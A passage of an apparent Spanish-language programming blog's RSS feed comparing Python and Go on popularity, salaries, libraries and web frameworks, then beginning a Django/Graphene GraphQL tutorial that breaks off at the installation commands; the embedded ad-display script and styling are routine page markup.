Kubernetes, Terraform e InfluxDB están escritos en Go.&lt;/p&gt;&#xA;&lt;p&gt;Los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/&#34;&gt;containers de docker están escritos usando go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/traeffik-y-kubernetes-1024x505-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/traeffik-y-kubernetes-1024x505-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Logos de tecnologías creadas con go&#34; width=&#34;1024&#34; height=&#34;505&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Traefik, docker, kubernetes, influxdb y terraform están escritos en Go.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;También se han creado herramientas tan geniales como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pocketbase.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pocketbase&lt;/a&gt;&#xA;, un excelente ejemplo de Backend as a service y alternative open source a firebase.&lt;/p&gt;&#xA;&lt;h3 id=&#34;usos-comunes-de-python&#34;&gt;Usos comunes de Python&lt;/h3&gt;&#xA;&lt;p&gt;Python es un lenguaje multipropósito, permite crear básicamente de todo, desde aplicaciones nativas con interfaz de usuario, programar redes o servidores web, inteligencia artificial, data science, desarrollo de aplicaciones web, o scripting básico.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cual-lenguaje-es-mas-popular-entre-python-y-go&#34;&gt;¿Cuál lenguaje es más popular entre Python y Go?&lt;/h2&gt;&#xA;&lt;p&gt;A la fecha Python es mucho más popular que Go. Puedes observar que Go ganó popularidad entre el periodo comprendido entre 2011 y 2015, pero se estabilizó para quedar por debajo de Python.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-google-trends.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-google-trends.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google trends comparando Go vs Python. Python es más popular a la fecha.&#34; width=&#34;1214&#34; height=&#34;623&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python es más popular que Go.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;popularidad-entre-python-y-go&#34;&gt;Popularidad entre Python y Go&lt;/h3&gt;&#xA;&lt;p&gt;Go es un lenguaje bastante popular entre los desarrolladores, mucho más apreciado que Javascript, pero menos querido que Python y Typescript.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-popularity.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-popularity.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;En 2023 Stackoverflow reemplazó la encuesta por una donde se especifica la diferencia entre los que desean usarlo y los que ya lo han hecho y quieren continuar usándolo&#34; width=&#34;1303&#34; height=&#34;908&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;En 2023 Stackoverflow reemplazó la encuesta por una donde se especifica la diferencia entre los que desean usarlo y los que ya lo han hecho y quieren continuar usándolo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;donde-se-gana-mas-python-o-go&#34;&gt;¿Dónde se gana más Python o Go?&lt;/h2&gt;&#xA;&lt;p&gt;Los desarrolladores de Go suelen &lt;strong&gt;ganar bastante más dinero que los desarrolladores de Python&lt;/strong&gt;. De hecho Go se encuentra dentro de los 10 lenguajes mejor pagados según la encuesta de stackoverflow del 2022.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-salarios-2023.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-salarios-2023.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparación de salarios por lenguaje según la encuesta de stackoverflow. Go está en el top 10&#34; width=&#34;1037&#34; height=&#34;904&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Los programadores de Go suelen ganar más que los de Python&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;baterias-incluidas&#34;&gt;Baterías incluidas&lt;/h2&gt;&#xA;&lt;p&gt;Ambos lenguajes cuentan con una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;librería estándar&lt;/a&gt;&#xA; con la mayoría de las necesidades básicas cubiertas, desde manejo de redes, hasta profiling de código e incluso algunas menos comunes como manejo de audio. Las baterías incluidas es una de las características que hacen a Python tan popular.&lt;/p&gt;&#xA;&lt;p&gt;Go no se queda atrás, ha sabido entender bastante bien los beneficios de una amplia librería estándar y la ha incluido para el disfrute de sus usuarios. &lt;strong&gt;No es tan grande como la de Python&lt;/strong&gt; pero cubre la mayoría de las necesidades más comunes y hace palidecer a la de otros lenguajes. Su librería estándar de testeo es impresionante, produce reportes de coverage e incluso profiling de las diferentes partes de tu código.&lt;/p&gt;&#xA;&lt;p&gt;Puedes ver las librerías y funciones que tiene disponible en la sección &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/std&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;standard library de su página oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;quien-tiene-mejores-librerias-python-o-go&#34;&gt;¿Quien tiene mejores librerías Python o Go?&lt;/h2&gt;&#xA;&lt;h3 id=&#34;paquetes-en-go&#34;&gt;Paquetes en go&lt;/h3&gt;&#xA;&lt;p&gt;Go no cuenta con un repositorio oficial de paquetes como sí lo tiene Python. Los paquetes se obtienen por medio de &lt;em&gt;go get&lt;/em&gt; (el equivalente de &lt;em&gt;pip&lt;/em&gt; en Python) de diferentes fuentes. Se extraña una solución estándar, tipo npm en javascript, pero puedes ver una lista de los paquetes disponibles en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://awesome-go.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Awesome Go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;La &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/&#34;&gt;importación de los modulos y paquetes en Go&lt;/a&gt;&#xA; puede parecerte un tanto extraño, no existen las importaciones relativas, como en Python o en Javascript.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/AwesomeGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/AwesomeGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Awesome Go página.&#34; width=&#34;351&#34; height=&#34;944&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Captura de pantalla de Awesome Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Awesome Go cuenta con enlaces a una gran cantidad de paquetes de Go ordenados por tema.&lt;/p&gt;&#xA;&lt;p&gt;A la fecha Go cuenta con alrededor de 350,000 paquetes registrados en github. Sin embargo que estén en github no los vuelve usables, por lo que considero que el número de paquetes es mucho menor.&lt;/p&gt;&#xA;&lt;p&gt;En resumen, la comunidad de go está creciendo, pero, por ahora, es más pequeña que la de Python.&lt;/p&gt;&#xA;&lt;h3 id=&#34;paquetes-en-python&#34;&gt;Paquetes en Python&lt;/h3&gt;&#xA;&lt;p&gt;Python cuenta con 336,000 en pypi, muchos de ellos están disponibles para ser usados usando pip o cualquier otra herramienta de manejo de paquetes.&lt;/p&gt;&#xA;&lt;p&gt;Python tiene una comunidad gigantesca, comparada con la de go, y tienen paquetes para casi todo lo que te puedas imaginar.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Pypi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Pypi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Número de librerías o paquetes disponibles en Python&#34; width=&#34;1195&#34; height=&#34;429&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El índice de paquetes de Python Pypi&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;web-frameworks&#34;&gt;Web frameworks&lt;/h2&gt;&#xA;&lt;h3 id=&#34;web-frameworks-en-go&#34;&gt;Web frameworks en go&lt;/h3&gt;&#xA;&lt;p&gt;Los frameworks disponibles para Go se centran en velocidad. Dado que el lenguaje es nuevo son tecnologías relativamente jóvenes pero extremadamente rápidas y eficientes, pudiendo servir muchísimas peticiones por segundo. Si la velocidad es un requerimiento para tu proyecto, considéralos muy seriamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Frameworks-web-Go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Frameworks-web-Go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Frameworks de Go más conocidos: Hugo, Beego, Echo, Buffalo, Go revel&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Logos de frameworks de Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;que-tan-rapido-son-los-web-frameworks-de-go-comparados-con-los-de-python&#34;&gt;¿Qué tan rápido son los web frameworks de Go comparados con los de Python?&lt;/h3&gt;&#xA;&lt;p&gt;Mira estás pruebas de rendimiento de techempower. Las barras verdes corresponden a frameworks de Go, mientras que las barras azules son de frameworks de Python.&lt;/p&gt;&#xA;&lt;p&gt;Encerrado en negro están las peticiones por segundo que soporta cada framework (mientras más mejor). Como puedes apreciar, Go supera a Python en rendimiento.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Velocidad-frameworks-go-vs-python.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Velocidad-frameworks-go-vs-python.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparación del rendimiento de varios frameworks web en techempower&#34; width=&#34;850&#34; height=&#34;770&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Los frameworks web de Go superan a los de Python en rendimiento.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pruebas de rendimiento para frameworks de Python (morado) y Go (verde)&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-frameworks-en-python&#34;&gt;Web frameworks en Python&lt;/h3&gt;&#xA;&lt;p&gt;Mientras que en Python ya contamos con algunas &lt;strong&gt;soluciones bastante probadas, con bastante experiencia, caracterizadas por ser m&lt;/strong&gt;uy estables y con una respuesta para casi todas las necesidades de un desarrollador web y que, además, soportan sitios muy populares y con tráfico gigantesco, como pinterest o instagram.&lt;/p&gt;&#xA;&lt;p&gt;Entre los frameworks destaca &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;Django, uno de los frameworks favoritos de Python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Frameworks web más populares de Python: Django, Fastapi, flask bottle&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A pesar de que la mayoría de frameworks en Python son antiguos, no significa que no estén apareciendo nuevos frameworks últimamente. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;Fastapi&lt;/a&gt;&#xA;, del que ya hice un tutorial también es un nuevo framework muy veloz que gana popularidad día con día.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cual-lenguaje-es-mejor-python-vs-go&#34;&gt;¿Cuál lenguaje es mejor Python vs go?&lt;/h2&gt;&#xA;&lt;p&gt;En mi opinión, si necesitas estabilidad y soluciones probadas con el tiempo para tus frameworks o planeas entrar en el mundo de la inteligencia artificial, deep learning o data science, si quieres un lenguaje que tenga una curva de aprendizaje poco inclinada y una gran cantidad de paquetes disponibles que le ahorrarán código a ti y/o a tu equipo, yo me iría por Python.&lt;/p&gt;&#xA;&lt;p&gt;En cambio, si vas muy en serio con devops y/o la velocidad y la concurrencia son características importantes para los proyectos que planeas crear y, quieres dedicarte a crear herramientas devop. Si te da igual no la curva de aprendizaje más pronunciada que tiene Go (tampoco es para tanto), comparado con Python, entonces probablemente Go te parecerá una mejor opción.&lt;/p&gt;&#xA;&lt;p&gt;De cualquier forma ahora que sabes un poco de ambos lenguajes ya puedes tomar una decisión mucho más informada y basada en tus intenciones y situación personal. Siempre puedes aprender ambos y combinarlos para tener lo mejor de los mundos.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Estos últimos meses he estado aprendiendo go. ¿Cómo empezó todo? Pues empezó de una manera bastante superficial; empecé a invesgar sobre el lenguaje porque me encantó su mascota, sí, de verdad fue por eso. Así que tras un breve debate mental sobre los pros y cons del lenguaje, decidí darle una oportunidad. Mi primera impresión de él es que es bastante similar a Python; simple y sencillo de aprender. Ahora que ya lo he usado un poco más te traigo una comparación de Python vs Go, donde explicaré algunas de sus diferencias, por si estás interesado en aprender uno u otro este año.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Cómo crear una API Graphql en Django rápidamente usando Graphene</title>
      <link>https://coffeebytes.dev/es/django/como-crear-una-api-graphql-en-django-rapidamente-usando-graphene/</link>
      <pubDate>Tue, 26 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-crear-una-api-graphql-en-django-rapidamente-usando-graphene/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En esta entrada te explico como Graphene te permite acelerar el proceso de creación de una API de tipo GraphQL si estás usando el Framework Django, además echar mano de los modelos que ya definiste para realizar queries o mutations.&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-usar-graphql&#34;&gt;¿Por qué usar graphql?&lt;/h2&gt;&#xA;&lt;p&gt;Graphql permite integrar peticiones de múltiples fuentes en una sola llamada a la API. A diferencia de una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API de tipo REST&lt;/a&gt;&#xA; consiste de un único endpoint al que podemos hacerle determinadas queries o consultas (definidas por nosotros mismos en un schema, sí, como esquema) y obtener una respuesta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/RestVsGraphQL.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/RestVsGraphQL.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencias entre REST y Graphql&#34; width=&#34;800&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El schema le dice a graphql que tipo de objetos retornaremos y que campos de estos objetos, graphql utilizará un resolver para obtener esa información de una base de datos o cualquier otra referencia.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/EsquemaGraphqlSimplificado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/EsquemaGraphqlSimplificado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de graphql en Javascript&#34; width=&#34;1460&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema simplificado de graphql en Javascript&lt;/p&gt;&#xA;&lt;p&gt;Cada query o consulta que realicemos será validada por graphql para que devuelva solo lo que está permitido en el schema.&lt;/p&gt;&#xA;&lt;h3 id=&#34;deberias-usar-graphql&#34;&gt;¿Deberías usar graphql?&lt;/h3&gt;&#xA;&lt;p&gt;Yo soy más fan de mantener las cosas lo más simples posibles y complicarlas hasta que sea necesario. Facebook creó graphql con el propósito de facilitar las búsquedas de información en su aplicación. Facebook requiere muchísima información de diferentes fuentes para poder funcionar de la manera en la que lo hace. Probablemente tú aplicación no sea tan compleja ni caótica como facebook y no se enfrente a los mismos problemas.&lt;/p&gt;&#xA;&lt;p&gt;Cada equipo o persona debe considerar si vale la pena implementar graphql de acuerdo a las necesidades a corto, mediano y largo plazo de la app a construir. Quizás REST sea suficiente, o quizás no.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-de-graphene-django&#34;&gt;Instalación de graphene-django&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a instalar primero graphene-django. Yo usaré el administrador de entornos virtuales pipenv, pero tú puedes usar pip o cualquier otro que prefieras.&lt;/p&gt;&#xA;&lt;p&gt;Voy a crear un proyecto con una aplicación bastante sencilla para este tutorial. que cuenta con un único modelo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2.15.0&lt;/span&gt; django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin startproject criticaAnimes &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin startapp 